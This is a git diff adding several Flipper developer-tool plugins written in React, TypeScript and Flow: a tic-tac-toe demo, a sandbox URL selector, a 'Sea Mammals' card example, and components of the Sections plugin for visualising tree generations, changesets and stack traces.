makeMove(player: 'X' | 'O', move: number) {
if (this.state.turn === player && this.state.cells[move] === ' ') {
this.setState(computeNextState(this.state, move, player), () =>
this.sendUpdate(),
);
}
}
sendUpdate() {
this.client.call('SetState', this.state);
}
handleCellClick(move: number) {
this.makeMove('O', move);
}
handleReset() {
this.setState(initialState(), () => this.sendUpdate());
}
render() {
const {winner, turn, cells} = this.state;
return (
<CenteredView>
<RoundedSection title="React Native Tic-Tac-Toe">
<Info type="info">
This plugin demonstrates how to create pure JavaScript Flipper
plugins for React Native. Find out how to create a similar plugin at{' '}
<a
href="https://fbflipper.com/docs/tutorial/intro.html"
target="blank">
fbflipper.com
</a>
.
</Info>
<Container>
<Text size={24}>Flipper Tic-Tac-Toe</Text>
<br />
<br />
<Text size={18}>
{winner !== ' '
? `Winner! ${winner}`
: turn === 'O'
? 'Your turn'
: 'Mobile players turn..'}
</Text>
<GameBoard>
{cells.map((c, idx) => (
<Cell
key={idx}
disabled={c !== ' ' || turn != 'O' || winner !== ' '}
onClick={() => this.handleCellClick(idx)}>
{c}
</Cell>
))}
</GameBoard>
<Button onClick={() => this.handleReset()}>Start new game</Button>
</Container>
</RoundedSection>
</CenteredView>
);
}
}
const Container = styled('div')({
border: `4px solid ${brandColors.Flipper}`,
borderRadius: 4,
padding: 20,
marginTop: 20,
});
const GameBoard = styled(FlexRow)({
flexWrap: 'wrap',
justifyContent: 'space-between',
marginTop: 20,
marginBottom: 20,
});
const Cell = styled('button')({
padding: 20,
height: 80,
minWidth: 80,
fontSize: 24,
margin: 20,
flex: 0,
borderRadius: 4,
backgroundColor: colors.highlight,
color: 'white',
':disabled': {
backgroundColor: colors.greyTint2,
},
});

View File

@@ -0,0 +1,13 @@
{
"name": "ReactNativeTicTacToe",
"version": "1.0.0",
"main": "index.tsx",
"license": "MIT",
"keywords": ["flipper-plugin"],
"icon": "apps",
"title": "React Native Tic Tac Toe",
"category": "Examples",
"bugs": {
"email": "mweststrate@fb.com"
}
}

View File

@@ -0,0 +1,4 @@
# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY.
# yarn lockfile v1

View File

@@ -0,0 +1,139 @@
/**
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
* @format
*/
import {FlipperPlugin} from 'flipper';
import {FlexColumn} from 'flipper';
import {ButtonGroup, Button, styled, colors} from 'flipper';
import React, {ChangeEvent} from 'react';
export type Sandbox = {
name: string;
value: string;
};
type SandboxState = {
sandboxes: Array<Sandbox>;
customSandbox: string;
showFeedback: boolean;
};
const BigButton = styled(Button)({
flexGrow: 1,
fontSize: 24,
padding: 20,
});
const ButtonContainer = styled(FlexColumn)({
alignItems: 'center',
padding: 20,
});
export default class SandboxView extends FlipperPlugin<
SandboxState,
any,
unknown
> {
state: SandboxState = {
sandboxes: [],
customSandbox: '',
showFeedback: false,
};
static TextInput = styled.input({
border: `1px solid ${colors.light10}`,
fontSize: '1em',
padding: '0 5px',
borderRight: 0,
borderTopLeftRadius: 4,
borderBottomLeftRadius: 4,
flexGrow: 1,
});
static FeedbackMessage = styled.span({
fontSize: '1.2em',
paddingTop: '10px',
color: 'green',
});
static TextInputLayout = styled(FlexColumn)({
float: 'left',
justifyContent: 'center',
flexGrow: 1,
borderRadius: 4,
marginRight: 15,
marginTop: 15,
marginLeft: 15,
});
init() {
this.client.call('getSandbox', {}).then((results: Array<Sandbox>) => {
this.dispatchAction({results, type: 'UpdateSandboxes'});
});
}
onSendSandboxEnvironment = (sandbox: string) => {
this.client
.call('setSandbox', {
sandbox: sandbox,
})
.then((result: {result: boolean}) => {
setTimeout(() => {
this.setState({showFeedback: false});
}, 3000);
this.setState({showFeedback: result.result});
});
};
onChangeSandbox = (e: ChangeEvent<HTMLInputElement>) => {
this.setState({customSandbox: e.target.value});
};
render() {
return (
<FlexColumn>
<SandboxView.TextInputLayout>
<ButtonGroup>
<SandboxView.TextInput
type="text"
placeholder="Sandbox URL (e.g. unixname.sb.facebook.com)"
key="sandbox-url"
onChange={this.onChangeSandbox}
onKeyPress={event => {
if (event.key === 'Enter') {
this.onSendSandboxEnvironment(this.state.customSandbox);
}
}}
/>
<Button
key="sandbox-send"
icon="download"
onClick={() =>
this.onSendSandboxEnvironment(this.state.customSandbox)
}
disabled={this.state.customSandbox == null}
/>
</ButtonGroup>
<SandboxView.FeedbackMessage
hidden={this.state.showFeedback == false}>
Success!
</SandboxView.FeedbackMessage>
</SandboxView.TextInputLayout>
{this.state.sandboxes.map(sandbox => (
<ButtonContainer>
<BigButton
key={sandbox.value}
onClick={() => this.onSendSandboxEnvironment(sandbox.value)}>
{sandbox.name}
</BigButton>
</ButtonContainer>
))}
</FlexColumn>
);
}
}

View File

@@ -0,0 +1,12 @@
{
"name": "Sandbox",
"title": "Sandbox",
"version": "1.0.0",
"main": "index.tsx",
"license": "MIT",
"keywords": ["flipper-plugin"],
"icon": "translate",
"bugs": {
"email": "edoardo@fb.com"
}
}

View File

@@ -0,0 +1,4 @@
# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY.
# yarn lockfile v1

View File

@@ -0,0 +1,148 @@
/**
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
* @format
*/
import {
Text,
Panel,
ManagedDataInspector,
FlipperPlugin,
DetailSidebar,
FlexRow,
FlexColumn,
styled,
colors,
} from 'flipper';
import React from 'react';
type Id = number;
type Row = {
id: Id;
title: string;
url: string;
};
function renderSidebar(row: Row) {
return (
<Panel floating={false} heading={'Extras'}>
<ManagedDataInspector data={row} expandRoot={true} />
</Panel>
);
}
type State = {
selectedID: string | null;
};
type PersistedState = {
[key: string]: Row;
};
export default class SeaMammals extends FlipperPlugin<
State,
any,
PersistedState
> {
static defaultPersistedState = {};
static persistedStateReducer<PersistedState>(
persistedState: PersistedState,
method: string,
payload: Row,
) {
if (method === 'newRow') {
return Object.assign({}, persistedState, {
[payload.id]: payload,
});
}
return persistedState;
}
static Container = styled(FlexRow)({
backgroundColor: colors.macOSTitleBarBackgroundBlur,
flexWrap: 'wrap',
alignItems: 'flex-start',
alignContent: 'flex-start',
flexGrow: 1,
overflow: 'scroll',
});
state = {
selectedID: null as string | null,
};
render() {
const {selectedID} = this.state;
const {persistedState} = this.props;
return (
<SeaMammals.Container>
{Object.entries(persistedState).map(([id, row]) => (
<Card
{...row}
onSelect={() => this.setState({selectedID: id})}
selected={id === selectedID}
key={id}
/>
))}
<DetailSidebar>
{selectedID && renderSidebar(persistedState[selectedID])}
</DetailSidebar>
</SeaMammals.Container>
);
}
}
class Card extends React.Component<
{
onSelect: () => void;
selected: boolean;
} & Row
> {
static Container = styled(FlexColumn)<{selected?: boolean}>(props => ({
margin: 10,
borderRadius: 5,
border: '2px solid black',
backgroundColor: colors.white,
borderColor: props.selected
? colors.macOSTitleBarIconSelected
: colors.white,
padding: 0,
width: 150,
overflow: 'hidden',
boxShadow: '1px 1px 4px rgba(0,0,0,0.1)',
cursor: 'pointer',
}));
static Image = styled.div({
backgroundSize: 'cover',
width: '100%',
paddingTop: '100%',
});
static Title = styled(Text)({
fontSize: 14,
fontWeight: 'bold',
padding: '10px 5px',
overflow: 'hidden',
textOverflow: 'ellipsis',
whiteSpace: 'nowrap',
});
render() {
return (
<Card.Container
onClick={this.props.onSelect}
selected={this.props.selected}>
<Card.Image style={{backgroundImage: `url(${this.props.url || ''})`}} />
<Card.Title>{this.props.title}</Card.Title>
</Card.Container>
);
}
}

View File

@@ -0,0 +1,13 @@
{
"name": "sea-mammals",
"version": "1.0.0",
"main": "index.tsx",
"license": "MIT",
"keywords": ["flipper-plugin"],
"icon": "apps",
"title": "Sea Mammals",
"category": "Example Plugin",
"bugs": {
"email": "realpassy@fb.com"
}
}

View File

@@ -0,0 +1,4 @@
# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY.
# yarn lockfile v1

View File

@@ -0,0 +1,111 @@
/**
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
* @format
*/
import type {UpdateTreeGenerationChangesetApplicationPayload} from './Models.js';
import React from 'react';
import {
MarkerTimeline,
Component,
styled,
FlexBox,
ManagedDataInspector,
Panel,
colors,
} from 'flipper';
const NoContent = styled(FlexBox)({
alignItems: 'center',
justifyContent: 'center',
flexGrow: 1,
fontWeight: '500',
color: colors.light30,
});
type Props = {|
changeSets: ?Array<UpdateTreeGenerationChangesetApplicationPayload>,
eventUserInfo: ?Object,
focusedChangeSet: ?UpdateTreeGenerationChangesetApplicationPayload,
onFocusChangeSet: (
focusedChangeSet: ?UpdateTreeGenerationChangesetApplicationPayload,
) => void,
selectedNodeInfo: ?Object,
|};
export default class DetailsPanel extends Component<Props> {
render() {
const {changeSets, eventUserInfo} = this.props;
const firstChangeSet =
(changeSets || []).reduce(
(min, cs) => Math.min(min, cs.timestamp),
Infinity,
) || 0;
return (
<React.Fragment>
{eventUserInfo && (
<Panel
key="eventUserInfo"
collapsable={false}
floating={false}
heading={'Event User Info'}>
<ManagedDataInspector data={eventUserInfo} expandRoot={true} />
</Panel>
)}
{changeSets && changeSets.length > 0 ? (
<Panel
key="Changesets"
collapsable={false}
floating={false}
heading={'Changesets'}>
<MarkerTimeline
points={changeSets.map(p => ({
label:
p.type === 'CHANGESET_GENERATED' ? 'Generated' : 'Rendered',
time: Math.round((p.timestamp || 0) - firstChangeSet),
color:
p.type === 'CHANGESET_GENERATED' ? colors.lemon : colors.teal,
key: p.identifier,
}))}
onClick={ids =>
this.props.onFocusChangeSet(
changeSets.find(c => c.identifier === ids[0]),
)
}
selected={this.props.focusedChangeSet?.identifier}
/>
</Panel>
) : (
<NoContent>No changes sets available</NoContent>
)}
{this.props.focusedChangeSet && (
<Panel
key="Changeset Details"
floating={false}
heading="Changeset Details">
<ManagedDataInspector
data={this.props.focusedChangeSet.changeset}
expandRoot={true}
/>
</Panel>
)}
{this.props.selectedNodeInfo && (
<Panel
key="Selected Node Info"
floating={false}
heading="Selected Node Info">
<ManagedDataInspector
data={this.props.selectedNodeInfo}
expandRoot={true}
/>
</Panel>
)}
</React.Fragment>
);
}
}

View File

@@ -0,0 +1,248 @@
/**
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
* @format
*/
import type {TreeGeneration} from './Models.js';
import {
FlexColumn,
FlexRow,
Component,
Tooltip,
Glyph,
styled,
colors,
} from 'flipper';
import React from 'react';
const PADDING = 15;
const WIDTH = 70;
const LABEL_WIDTH = 140;
const Container = styled(FlexRow)({
flexShrink: 0,
flexGrow: 1,
});
const SurfaceContainer = styled(FlexColumn)(props => ({
position: 'relative',
'::after': {
display: props.scrolled ? 'block' : 'none',
content: '""',
top: 0,
bottom: 0,
right: -15,
width: 15,
background: `linear-gradient(90deg, ${colors.macOSTitleBarBackgroundBlur} 0%, transparent 100%)`,
zIndex: 3,
position: 'absolute',
},
}));
const TimeContainer = styled(FlexColumn)({
overflow: 'scroll',
flexGrow: 1,
flexShrink: 1,
});
const Row = styled(FlexRow)(props => ({
alignItems: 'center',
paddingBottom: 3,
marginTop: 3,
flexGrow: 1,
flexShrink: 0,
maxHeight: 75,
position: 'relative',
minWidth: '100%',
alignSelf: 'flex-start',
'::before': {
display: props.showTimeline ? 'block' : 'none',
zIndex: 1,
content: '""',
position: 'absolute',
borderTop: `1px dotted ${colors.light15}`,
height: 1,
top: '50%',
left: 0,
right: 0,
},
}));
const Label = styled.div({
width: LABEL_WIDTH,
paddingLeft: 10,
paddingRight: 10,
fontWeight: 'bold',
textOverflow: 'ellipsis',
overflow: 'hidden',
whiteSpace: 'nowrap',
textAlign: 'right',
flexShrink: 0,
position: 'sticky',
left: 0,
zIndex: 2,
});
const Content = styled.div({
textOverflow: 'ellipsis',
overflow: 'hidden',
fontSize: 11,
textAlign: 'center',
textTransform: 'uppercase',
fontWeight: '500',
color: colors.light50,
});
const Record = styled.div(({highlighted}) => ({
border: `1px solid ${colors.light15}`,
boxShadow: highlighted
? `inset 0 0 0 2px ${colors.macOSTitleBarIconSelected}`
: 'none',
borderRadius: 5,
padding: 5,
marginRight: PADDING,
backgroundColor: colors.white,
zIndex: 2,
position: 'relative',
width: WIDTH,
flexShrink: 0,
alignSelf: 'stretch',
display: 'flex',
alignItems: 'center',
}));
const Empty = styled.div({
width: WIDTH,
padding: '10px 5px',
marginRight: PADDING,
flexShrink: 0,
position: 'relative',
});
const Icon = styled(Glyph)({
position: 'absolute',
right: 5,
top: 5,
});
type Props = {|
generations: Array<TreeGeneration>,
focusedGenerationId: ?string,
onClick: (id: string) => mixed,
|};
type State = {
scrolled: boolean,
};
export default class extends Component<Props, State> {
state = {
scrolled: false,
};
componentDidMount() {
document.addEventListener('keydown', this.onKeyDown);
}
componentWillUnmount() {
document.removeEventListener('keydown', this.onKeyDown);
}
componentDidUpdate(prevProps: Props) {
const {focusedGenerationId} = this.props;
if (
focusedGenerationId &&
focusedGenerationId !== prevProps.focusedGenerationId
) {
const node = document.querySelector(`[data-id="${focusedGenerationId}"]`);
if (node) {
node.scrollIntoViewIfNeeded();
}
}
}
onKeyDown = (e: KeyboardEvent) => {
if (e.key !== 'ArrowRight' && e.key !== 'ArrowLeft') {
return;
}
e.preventDefault();
let nextGenerationId = null;
const index = this.props.generations.findIndex(
g => g.id === this.props.focusedGenerationId,
);
const direction = e.key === 'ArrowRight' ? 1 : -1;
const bound = e.key === 'ArrowRight' ? this.props.generations.length : -1;
for (let i = index + direction; i !== bound; i += direction) {
if (
this.props.generations[i].surface_key ===
this.props.generations[index].surface_key
) {
nextGenerationId = this.props.generations[i].id;
break;
}
}
if (nextGenerationId) {
this.props.onClick(nextGenerationId);
}
};
onScroll = (e: SyntheticUIEvent<HTMLElement>) =>
this.setState({scrolled: e.currentTarget.scrollLeft > 0});
render() {
const surfaces = this.props.generations.reduce(
(acc, cv) => acc.add(cv.surface_key),
new Set(),
);
return (
<Container>
<SurfaceContainer scrolled={this.state.scrolled}>
{[...surfaces].map(surface => (
<Row key={surface}>
<Label title={surface}>{surface}</Label>
</Row>
))}
</SurfaceContainer>
<TimeContainer onScroll={this.onScroll}>
{[...surfaces].map(surface => (
<Row key={surface} showTimeline>
{this.props.generations.map((record: TreeGeneration) =>
record.surface_key === surface ? (
<Record
key={`${surface}${record.id}`}
data-id={record.id}
highlighted={record.id === this.props.focusedGenerationId}
onClick={() => this.props.onClick(record.id)}>
<Content>{record.reason}</Content>
{record.reentrant_count > 0 && (
<Tooltip
title={'Reentrant count ' + record.reentrant_count}>
<Icon
color={colors.red}
name="caution-circle"
variant="filled"
size={12}
/>
</Tooltip>
)}
</Record>
) : (
<Empty key={`${surface}${record.id}`} />
),
)}
</Row>
))}
</TimeContainer>
</Container>
);
}
}

View File

@@ -0,0 +1,98 @@
/**
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
* @format
*/
export type SectionComponentHierarchy = {|
type: string,
children: Array<SectionComponentHierarchy>,
|};
export type AddEventPayload = {|
id: string,
reason: string,
stack_trace: Array<string>,
skip_stack_trace_format?: boolean,
surface_key: string,
event_timestamp: number,
update_mode: number,
reentrant_count: number,
payload: ?Object,
|};
export type UpdateTreeGenerationHierarchyGenerationPayload = {|
hierarchy_generation_timestamp: number,
id: string,
reason: string,
tree?: Array<{
didTriggerStateUpdate?: boolean,
identifier: string,
isDirty?: boolean,
isReused?: boolean,
name: string,
parent: string | '',
inserted?: boolean,
removed?: boolean,
updated?: boolean,
unchanged?: boolean,
isSection?: boolean,
isDataModel?: boolean,
}>,
|};
export type UpdateTreeGenerationChangesetGenerationPayload = {|
timestamp: number,
tree_generation_id: string,
identifier: string,
type: string,
changesets: {
section_key: {
changesets: {
id: {
count: number,
index: number,
toIndex?: number,
type: string,
render_infos?: Array<String>,
prev_data?: Array<String>,
next_data?: Array<String>,
},
},
},
},
|};
export type UpdateTreeGenerationChangesetApplicationPayload = {|
changeset: {
section_key: {
changesets: {
id: {
count: number,
index: number,
toIndex?: number,
type: string,
render_infos?: Array<String>,
prev_data?: Array<String>,
next_data?: Array<String>,
},
},
},
},
type: string,
identifier: string,
timestamp: number,
section_component_hierarchy: SectionComponentHierarchy,
tree_generation_id: string,
payload: ?Object,
|};
export type TreeGeneration = {|
...AddEventPayload,
...$Shape<UpdateTreeGenerationHierarchyGenerationPayload>,
...$Shape<UpdateTreeGenerationChangesetGenerationPayload>,
changeSets: Array<UpdateTreeGenerationChangesetApplicationPayload>,
|};

View File

@@ -0,0 +1,62 @@
/**
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
* @format
*/
import React from 'react';
import {colors, StackTrace} from 'flipper';
const FacebookLibraries = ['Facebook'];
const REGEX = new RegExp(
'(?<library>[A-Za-z0-9]*) *(?<address>0x[A-Za-z0-9]*) (?<caller>(.*)) \\+ (?<lineNumber>[0-9]*)',
);
function isSystemLibrary(libraryName: ?string): boolean {
return !FacebookLibraries.includes(libraryName);
}
type Props = {
data: Array<string>,
skipStackTraceFormat?: boolean,
};
export default class extends React.Component<Props> {
render() {
if (this.props.skipStackTraceFormat) {
return (
<StackTrace backgroundColor={colors.white}>
{this.props.data.map(stack_trace_line => {
return {
caller: stack_trace_line,
};
})}
</StackTrace>
);
}
return (
<StackTrace backgroundColor={colors.white}>
{/* We need to filter out from the stack trace any reference to the plugin such that the information is more coincised and focused */}
{this.props.data
.filter(stack_trace_line => {
return !stack_trace_line.includes('FlipperKitSectionsPlugin');
})
.map(stack_trace_line => {
const trace = REGEX.exec(stack_trace_line)?.groups;
return {
bold: !isSystemLibrary(trace?.library),
library: trace?.library,
address: trace?.address,
caller: trace?.caller,
lineNumber: trace?.lineNumber,
};
})}
</StackTrace>
);
}
}

View File

@@ -0,0 +1,302 @@
/**
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
* @format
*/
import type {SectionComponentHierarchy} from './Models';
import {Glyph, PureComponent, styled, Toolbar, Spacer, colors} from 'flipper';
import {Tree} from 'react-d3-tree';
import {Fragment} from 'react';
const Legend = styled.div(props => ({
color: colors.dark50,
marginLeft: 20,
'&::before': {
content: '""',
display: 'inline-block',
width: 10,
height: 10,
borderRadius: 6,
backgroundColor: props.color,
border: `1px solid rgba(0,0,0,0.2)`,
marginRight: 4,
marginBottom: -1,
},
}));
const Label = styled.div({
position: 'relative',
top: -7,
left: 7,
maxWidth: 270,
overflow: 'hidden',
fontWeight: '500',
textOverflow: 'ellipsis',
paddingLeft: 5,
paddingRight: 5,
background: colors.white,
display: 'inline-block',
});
const Container = styled.div({
width: '100%',
height: '100%',
overflow: 'hidden',
background:
'linear-gradient(-90deg,rgba(0,0,0,.02) 1px,transparent 0),linear-gradient(rgba(0,0,0,.02) 1px,transparent 0),linear-gradient(-90deg,rgba(0,0,0,.03) 1px,transparent 0),linear-gradient(rgba(0,0,0,.03) 1px,transparent 0)',
backgroundSize:
'10px 10px,10px 10px,100px 100px,100px 100px,100px 100px,100px 100px,100px 100px,100px 100px',
});
const LabelContainer = styled.div({
display: 'flex',
});
const IconButton = styled.div({
position: 'relative',
left: 5,
top: -8,
background: colors.white,
});
type TreeData = Array<{
identifier: string,
name: string,
parent: string | '',
didTriggerStateUpdate?: boolean,
isReused?: boolean,
isDirty?: boolean,
inserted?: boolean,
removed?: boolean,
updated?: boolean,
unchanged?: boolean,
isSection?: boolean,
isDataModel?: boolean,
}>;
type Props = {
data: TreeData | SectionComponentHierarchy,
nodeClickHandler?: (node: any, evt: InputEvent) => void,
};
type State = {
translate: {
x: number,
y: number,
},
tree: ?Object,
zoom: number,
};
class NodeLabel extends PureComponent<Props, State> {
state = {
collapsed: false,
};
showNodeData = e => {
e.stopPropagation();
this.props.onLabelClicked(this.props?.nodeData);
};
toggleClicked = () => {
this.setState({
collapsed: !this.state.collapsed,
});
};
render() {
const name = this.props?.nodeData?.name;
const isSection = this.props?.nodeData?.attributes.isSection;
const chevron = this.state.collapsed ? 'chevron-right' : 'chevron-left';
return (
<LabelContainer>
<Label title={name} onClick={this.showNodeData}>
{name}
</Label>
{isSection && (
<IconButton onClick={this.toggleClicked}>
<Glyph
color={colors.blueGreyTint70}
name={chevron}
variant={'filled'}
size={12}
/>
</IconButton>
)}
</LabelContainer>
);
}
}
export default class extends PureComponent<Props, State> {
treeFromFlatArray = (data: TreeData) => {
const tree = data.map(n => {
let fill = colors.blueGreyTint70;
if (n.didTriggerStateUpdate) {
fill = colors.lemon;
} else if (n.isReused) {
fill = colors.teal;
} else if (n.isDirty) {
fill = colors.grape;
}
if (n.removed) {
fill = colors.light20;
} else if (n.inserted) {
fill = colors.pinkDark1;
} else if (n.updated) {
fill = colors.orangeTint15;
} else if (n.unchanged) {
fill = colors.teal;
}
return {
name: n.name,
children: [],
attributes: {...n},
nodeSvgShape: {
shapeProps: {
fill,
r: 6,
strokeWidth: 1,
stroke: 'rgba(0,0,0,0.2)',
},
},
};
});
const parentMap: Map<string, Array<Object>> = tree.reduce((acc, cv) => {
const {parent} = cv.attributes;
if (typeof parent !== 'string') {
return acc;
}
const children = acc.get(parent);
if (children) {
return acc.set(parent, children.concat(cv));
} else {
return acc.set(parent, [cv]);
}
}, new Map());
tree.forEach(n => {
n.children = parentMap.get(n.attributes.identifier) || [];
});
// find the root node
return tree.find(node => !node.attributes.parent);
};
treeFromHierarchy = (data: SectionComponentHierarchy): Object => {
return {
name: data.type,
children: data.children ? data.children.map(this.treeFromHierarchy) : [],
};
};
state = {
translate: {
x: 0,
y: 0,
},
tree: Array.isArray(this.props.data)
? this.treeFromFlatArray(this.props.data)
: this.treeFromHierarchy(this.props.data),
zoom: 1,
};
treeContainer: any = null;
UNSAFE_componentWillReceiveProps(props: Props) {
if (this.props.data === props.data) {
return;
}
this.setState({
tree: Array.isArray(props.data)
? this.treeFromFlatArray(props.data)
: this.treeFromHierarchy(props.data),
});
}
componentDidMount() {
if (this.treeContainer) {
const dimensions = this.treeContainer.getBoundingClientRect();
this.setState({
translate: {
x: 50,
y: dimensions.height / 2,
},
});
}
}
onZoom = (e: SyntheticInputEvent<HTMLInputElement>) => {
this.setState({zoom: e.target.valueAsNumber});
};
render() {
return (
<Fragment>
<Container
innerRef={ref => {
this.treeContainer = ref;
}}>
<style>
{'.rd3t-tree-container foreignObject {overflow: visible;}'}
</style>
{this.state.tree && (
<Tree
transitionDuration={0}
separation={{siblings: 0.5, nonSiblings: 0.5}}
data={this.state.tree}
translate={this.state.translate}
zoom={this.state.zoom}
nodeLabelComponent={{
render: (
<NodeLabel onLabelClicked={this.props.nodeClickHandler} />
),
}}
allowForeignObjects
nodeSvgShape={{
shape: 'circle',
shapeProps: {
stroke: 'rgba(0,0,0,0.2)',
strokeWidth: 1,
},
}}
styles={{
links: {
stroke: '#b3b3b3',
},
}}
nodeSize={{x: 300, y: 100}}
/>
)}
</Container>
<Toolbar position="bottom" compact>
<input
type="range"
onChange={this.onZoom}
value={this.state.zoom}
min="0.1"
max="1"
step="0.01"
/>
<Spacer />
<Legend color={colors.light20}>Item removed</Legend>
<Legend color={colors.pinkDark1}>Item inserted</Legend>
<Legend color={colors.orangeTint15}>Item updated</Legend>
<Legend color={colors.teal}>Item/Section Reused</Legend>
<Legend color={colors.lemon}>Section triggered state update</Legend>
<Legend color={colors.grape}>Section is dirty</Legend>
</Toolbar>
</Fragment>
);
}
}

Some files were not shown because too many files have changed in this diff Show More